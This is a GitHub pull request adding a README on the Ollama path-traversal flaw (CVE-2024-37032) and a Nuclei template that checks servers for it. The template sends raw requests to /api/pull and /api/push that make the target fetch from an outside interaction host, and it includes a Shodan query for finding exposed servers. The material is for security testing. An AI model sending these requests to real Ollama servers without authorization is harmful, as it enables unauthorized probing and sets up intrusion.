Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add ollama rce #21

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 26 additions & 0 deletions ollama/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
# Ollama Vulnerabilities and Exploits

Ollama is an open-source framework designed for running large language models (LLMs) locally, without the need for cloud services.

## Vulnerabilities

### Remote Code Execution

- **Description**: Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
- **Impact**: This vulnerability could allows an attacker to gain Remote Code Execution on the server.

## Reports

- **@Sagi Tzadik**: https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032

## Disclaimer

The vulnerabilities and associated exploits provided in this repository are for educational and ethical security testing purposes only.

## Contribution

Contributions to improve the exploits or documentation are welcome. Please follow the contributing guidelines outlined in the repository.

## License

All exploits and templates in this repository are released under the Apache 2.0 License.
44 changes: 44 additions & 0 deletions ollama/nuclei-templates/ollama-rce.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
id: ollama-rce

info:
name: Ollama - Remote Code Execution
author: kaks3c
severity: critical
description: |
Ollama before 0.1.34 does not validate the format of the digest (sha256 with 64 hex digits) when getting the model path, and thus mishandles the TestGetBlobsPath test cases such as fewer than 64 hex digits, more than 64 hex digits, or an initial ../ substring.
reference:
- https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032
- https://nvd.nist.gov/vuln/detail/CVE-2024-37032
- https://github.com/Bi0x/CVE-2024-37032
classification:
cpe: cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ollama
product: ollama
shodan-query: ollama
tags: cve,cve2024,ollama,rce

http:
- raw:
- |
POST /api/pull HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}
- |
POST /api/push HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"name": "http://{{interactsh-url}}/rogue/{{randstr}}", "insecure": true}

matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, 'http')
- contains_all(header, 'application/x-ndjson') && contains(body_2, 'retrieving manifest')
condition: and
# digest: 490a00463044022063a7f8fa50a53c2e31c321e1ce86cd56feba2b35b1fbf41eb2e501418f9a4bdd02203abcb683e5b57723f64e3891eebd4c9a7be2ba0fb0366d249c3cb0893370627c:922c64590222798bb761d5b6d8e72950